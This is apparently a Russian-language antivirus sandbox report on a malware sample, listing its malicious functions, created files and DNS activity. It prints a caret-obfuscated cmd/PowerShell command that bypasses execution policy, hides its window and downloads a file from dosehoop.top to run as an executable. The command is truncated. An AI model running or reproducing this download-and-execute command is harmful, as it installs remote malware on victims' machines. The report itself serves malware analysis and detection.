Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://dosehoop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^O^W^E^rS^h^eLl.eXe ^-e^XEc^u^TiO^npOLICY^ byPa^Ss^ ^-^nop^rof^i^LE -WI^N^dOwstYlE h^idDEn (NEW-^O^Bj^ecT systeM.^nEt.w^eBCL^IenT)^.^dO^Wnl^o^a^dFile('http://dosehoop.top/read...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK do###oop.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^O^W^E^rS^h^eLl.eXe ^-e^XEc^u^TiO^npOLICY^ byPa^Ss^ ^-^nop^rof^i^LE -WI^N^dOwstYlE h^idDEn (NEW-^O^Bj^ecT systeM.^nEt.w^eBCL^IenT)^.^dO^Wnl^o^a^dFile('http://dosehoop.top/read... (со скрытым окном)
